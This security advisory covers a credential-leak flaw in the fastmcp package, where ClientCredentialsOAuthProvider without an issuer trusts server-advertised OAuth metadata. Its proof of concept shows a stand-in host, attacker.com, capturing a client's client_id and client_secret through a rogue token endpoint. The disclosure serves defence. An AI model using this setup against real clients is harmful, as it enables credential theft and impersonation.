Insufficiently Protected Credentials Affecting fastmcp package, versions [4.0.0a1,4.1.2)

fastmcp is a The fast, Pythonic way to build MCP servers and clients.

Affected versions of this package are vulnerable to Insufficiently Protected Credentials via ClientCredentialsOAuthProvider when no issuer is configured, because the client does not validate that the authorization server advertised by an MCP server matches an expected issuer. An attacker who controls an MCP server endpoint can advertise a malicious OAuth metadata URL pointing to an attacker-controlled token endpoint, causing the client to send its client_id and client_secret credentials to that endpoint. The attacker can then use the captured credentials to impersonate the client against the legitimate authorization server.

Note: This is only exploitable when the ClientCredentialsOAuthProvider is used without an explicit issuer parameter configured.

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises 
   OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code:
   from fastmcp import Client
   from fastmcp.client.auth import ClientCredentialsOAuthProvider
   
   auth = ClientCredentialsOAuthProvider(
       client_id="legitimate-client-id",
       client_secret="legitimate-client-secret"
   )
   async with Client("https://attacker.com/mcp", auth=auth) as client:
       await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization 
server advertised by the MCP server matches an expected issuer.

Note: The PoC states no specific runtime version, operating system, or non-default configuration beyond the absence of an issuer parameter.

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release